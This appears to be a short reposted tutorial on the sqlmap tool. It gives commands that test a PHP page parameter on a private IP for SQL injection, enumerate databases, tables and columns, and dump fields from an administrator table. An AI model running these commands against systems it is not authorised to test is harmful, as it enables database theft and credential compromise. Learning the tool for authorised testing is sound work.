sql injection using the tool sqlmap

sqlmap.py -u test whether the current connection to the injection point "http://10.6.1.54/newcontent.php?aid=79"

 

 

 

sqlmap.py -u "http://10.6.1.54/newcontent.php?aid=79" --dbs get a list of databases

 

 

 

sqlmap.py -u "http://10.6.1.54/newcontent.php?aid=79" --current-db to get the current database linked website

 

 

 

sqlmap.py -u "http://10.6.1.54/newcontent.php?aid=79" --tables -D "target database" Get all the target database table information

 

 

sqlmap.py -u "http://10.6.1.54/newcontent.php?aid=79" --columns -T "administrator table" -D "target database"

sqlmap.py -u "http://10.6.1.54/newcontent.php?aid=79" --dump -C "field" -T "administrator table" -D "target database"

Guess you like

Origin www.cnblogs.com/abels0025/p/11528915.html